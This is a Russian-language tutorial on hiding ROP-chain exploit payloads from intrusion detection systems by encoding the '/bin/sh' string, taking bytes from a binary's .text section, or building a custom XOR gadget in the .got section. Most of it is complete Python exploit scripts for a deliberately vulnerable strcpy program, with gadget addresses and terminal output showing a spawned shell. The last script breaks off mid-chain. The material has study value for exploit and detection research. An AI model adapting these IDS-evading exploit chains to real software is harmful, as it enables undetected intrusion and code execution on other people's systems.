Полиморфизм используется в шелл-коде, чтобы скрыть атаки на сеть. Факт в том, что сегодня IDS (Intrusion Detection System или Системы Обнаружения Вторжений) распознают большинство конструкций шелл-кодов (пример: push /bin/sh, и т. д.). Но полиморфизм может обходить такое обнаружение.
Полиморфизм используется в шелл-коде, чтобы скрыть атаки на сеть. Факт в том, что сегодня IDS (Intrusion Detection System или Системы Обнаружения Вторжений) распознают большинство конструкций шелл-кодов (пример: push /bin/sh, и т. д.). Но полиморфизм может обходить такое обнаружение.
В случае ROP (Return Oriented Programming или Возвратно-Ориентированного Программирования) каждая боевая нагрузка индивидуальна, и поэтому мы можем считать, что гаджеты1 не будут обнаружены IDS.
Тем не менее, во многих случаях при эксплуатации ROP мы записывем в секцию цепочку команд, которая используется при вызове execve. Например, в секцию .data мы записываем "/bin/sh".
При наличии IDS послать на выполнение такую цепочку будет трудно, поэтому мы зашифруем строку, а потом расшифруем ее.
Возьмем для примера уязвимый код, представленный ниже. Этот код компилируется с флагом –static для большого списка гаджетов. Конечно, данный код не имеет отношения к сетевым IDS, он приведен лишь чтобы продемонстрировать принципы обхода IDS с помощью ROP.
#include
int main(int ac, char **av)
{
char buff[32];
strcpy(buff, av[1]);
}
Запуск ROPgadget (http://shell-storm.org/project/ROPgadget/) позволяет нам легко получить подходящую нагрузку.
# execve /bin/sh generated by RopGadget v3.1
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e4) # @ .data + 4
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080bc924) # pop %ecx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x080491f9) # int $0x80
Здесь мы записываем строку "/bin/sh" напрямую в данные с помощью следующих гаджетов:
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
[...]
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
Мы зашифруем эту строку, а позже расшифруем ее. Для шифрования мы уменьшим на единицу значение каждого символа строки. Итак, у нас получится строка следующего содержания: '.ahm..rg'.
Опять же, с помощью ROPgadget я нашел следующие гаджеты, которые помогут мне расшифровать нашу цепочку.
0x08050eaa pop %edx ; помещаем адрес нашей строки в %edx
ret
0x080c34a9 mov (%edx),%ecx ; помещаем первый символ нашей строки в %ecx
ret
0x080c9338 inc %ecx ; инкрементируем этот символ
ret
0x08058770 mov %ecx,%eax ; помещаем его в %eax
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
0x08079e0d mov %eax,(%edx) ; помещаем расшифрованный символ на место зашифрованного
ret
Данная операция повторяется для каждого символа цепочки. В итоге мы получим нашу строку в ее первоначальном виде: "/bin/sh". В целом код выглядит так:
jonathan@ArchLinux [rop-ids] $ cat test-ids.py
#!/usr/bin/env python2
from struct import pack
p = "a"*32
p += "bbbb"
# push data encrypted
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080a5566) # pop %eax | ret
p += ".ahm" # '/bin' chiffré
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e4) # @ .data + 4
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "..rg" # '//sh' chiffré
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt data pour '.ahm..rg' => '/bin/sh'
# decrypt '/'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'b'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+1) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'i'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+2) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'n'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+3) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt '/'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+4) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt '/'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+5) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 's'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+6) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'h'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+7) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338) # inc %ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# set registers for execve
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080bc924) # pop %ecx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
# set eax for execve syscall
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x080491f9) # int $0x80
print p
jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids.py)"
sh-4.2$
Как вы можете догадаться, вы вольны выбирать тот тип шифрования, который захотите... Например, вы можете заносить в стек одинаковые символы, а затем изменять их до получения строки "/bin/sh".
В этом случае у вас получится что-то вроде этого:
p += "...." # '/bin' encrypted
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e4) # @ .data + 4
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "...." # '//sh' encrypted
Мы можем пойти еще дальше, не посылая цепочек вообще. Вместо этого мы возьмем символы прямо из двоичного файла. Сначала с помощью gdb найдем требуемые символы в секции .text.
(gdb$) find 0x8048150,0x80a807c, '/'
(gdb$) find 0x8048150,0x80a807c, 'b'
(gdb$) find 0x8048150,0x80a807c, 'i'
(gdb$) find 0x8048150,0x80a807c, 'n'
(gdb$) find 0x8048150,0x80a807c, '/'
(gdb$) find 0x8048150,0x80a807c, 's'
(gdb$) find 0x8048150,0x80a807c, 'h'
Мы получили следующие адреса:
/ : 0x804f676
b : 0x8051ce5
i : 0x804dd26
n : 0x804f124
/ : 0x804f676
s : 0x805a241
h : 0x8051e14
С помощью гаджетов из предыдущей главы мы сделаем здесь то же самое, изменив лишь порядок выполнения.
0x08050eaa pop %edx ; помещаем в стек адрес нужного символа
ret
0x080c34a9 mov (%edx),%ecx ; помещаем символ в %ecx
ret
0x08058770 mov %ecx,%eax ; перемещаем символ в eax
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
0x08050eaa pop %edx ; помещаем в edx адрес нашего «стека» (места где вы хотите записать строку)
ret
0x08079e0d mov %eax,(%edx) ; помещаем символ в наш «стек»
ret
Эта процедура повторяется для всех символов. Отсюда видно, что можно найти любой байт внутри двоичного файла и записать его в произвольное место памяти. В итоге имеем следующий код:
jonathan@ArchLinux [rop-ids] $ cat test-ids2.py
#!/usr/bin/env python2
from struct import pack
p = "a"*32
p += "bbbb"
# push /bin/sh in .data
# get '/' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804f676) # '/' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# get 'b' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x08051ce5) # 'b' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+1) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# get 'i' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804dd26) # 'i' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+2) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# get 'n' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804f124) # 'n' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+3) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# get '/' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804f676) # '/' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+4) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# get 's' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0805a241) # 's' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+5) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# get 'h' in .text
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x08051e14) # 'h' in .text
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+6) # @.data
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# set NULL bytes
# .data => /bin/sh\0\0\0\0
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+7) # @ .data + 7
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+9) # @ .data + 9
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+10) # @ .data + 10
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# set registers for execve
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080bc924) # pop %ecx | ret
p += pack("<I", 0x080ce3e7) # @ .data + 8
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e7) # @ .data + 8
# set eax for execve syscall
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x080491f9) # int $0x80
print p
jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids2.py)"
sh-4.2$
Возвращаясь к вышеописанному методу, заметим, что мы можем создавать наши собственные гаджеты. Для этого нам понадобится секция с правами rwx. Секция .got полностью удовлетворяет этому требованию (если NX отключен).
Мы можем получать байты в двоичном файле, а затем помещать их в секцию .got, что в итоге и будет служить гаджетом. Я возьму начинку из первого раздела, за исключением того, что мы будем использовать XOR для расшифрования цепочки. Чтобы сделать это, нам понадобится гаджет, которого нет в двоичном файле, поэтому мы создадим его сами.
Прежде всего, мы найдем адрес секции .got и значение инструкции "xor $ 0x77,%ecx, ret".
jonathan@ArchLinux [rop-ids] $ size -Ax ./main | grep got
.got 0x8 0x80ce3c8
jonathan@ArchLinux [rop-ids] $ objdump -d ./test
test: file format elf32-i386
Disassembly of section .text:
08048054 <.text>:
8048054: 83 f1 77 xor $0x77,%ecx
8048057: c3 ret
Далее найдем байты, соответствующие инструкции "xor $ 0x77,% ecx, ret", в секции .text с помощью gdb:
(gdb$) find 0x8048150,0x80a807c, '\x83' result ==> 0x08048d28
(gdb$) find 0x8048150,0x80a807c, '\xf1' result ==> 0x0804fc47
(gdb$) find 0x8048150,0x80a807c, '\x77' result ==> 0x0804db48
(gdb$) find 0x8048150,0x80a807c, '\xc3' result ==> 0x0804a5dc
Итак, у нас есть ряд гаджетов, который позволит нам создать свой собственный гаджет:
0x08050eaa pop %edx ; помещаем в edx адрес байта со значением 0x83
ret
0x080c34a9 mov (%edx),%ecx ; байт помещается в %ecx
ret
0x08058770 mov %ecx,%eax ; байт помещается в %ecx
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
0x08050eaa pop %edx ; помещаем адрес секции .got в %edx
ret
0x08079e0d mov %eax,(%edx) ; байт помещается в секцию .got
ret
Повторив эти действия для каждого байта, мы получим наш гаджет в секции .got. После создания последнего гаджета у нас есть следующая последовательность гаджетов:
0x08050eaa pop %edx ; помещаем адрес нашей строки в %edx
ret
0x080c34a9 mov (%edx),%ecx ; помещаем первый символ строки в %ecx
ret
@.got xor $0x77,%ecx ; наш гаджет из секции .got
ret
0x08058770 mov %ecx,%eax ; наш символ помещен в %eax
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
0x08079e0d mov %eax,(%edx) ; помещаем расшифрованный символ на место зашифрованного
ret
Итак, мы получили эксплоит следующего содержания:
jonathan@ArchLinux [rop-ids] $ cat test-ids3.py
#!/usr/bin/env python2
from struct import pack
p = "a"*32
p += "bbbb"
# push data encrypted
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "\x58\x15\x1e\x19" # '/bin' crypted
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e4) # @ .data + 4
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "\x58\x58\x04\x1f" # '//sh' crypted
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# creation of gadget in .got section
# byte 0x83
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x08048d28) # @ 0x83 byte
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3c8) # @.got
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# byte 0xf1
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804fc47) # @ 0xf1 byte
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3c8+1) # @.got
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# byte 0x77
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804db48) # @ 0x77 byte
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3c8+2) # @.got
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# byte 0xc3
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x0804a5dc) # @ 0xc3 byte
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3c8+3) # @.got
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# now "xor $0x77,%ecx ; ret" is in 0x080ce3c8
# data decrypted for '\x58\x15\x1e\x19\x58\x58\x04\x1f' => '/bin/sh'
# decrypt '/'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'b'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+1) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'i'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+2) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'n'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+3) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt '/'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+4) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt '/'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+5) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 's'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+6) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# decrypt 'h'
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+7) # @ .data
p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
p += pack("<I", 0x41424344) # padding
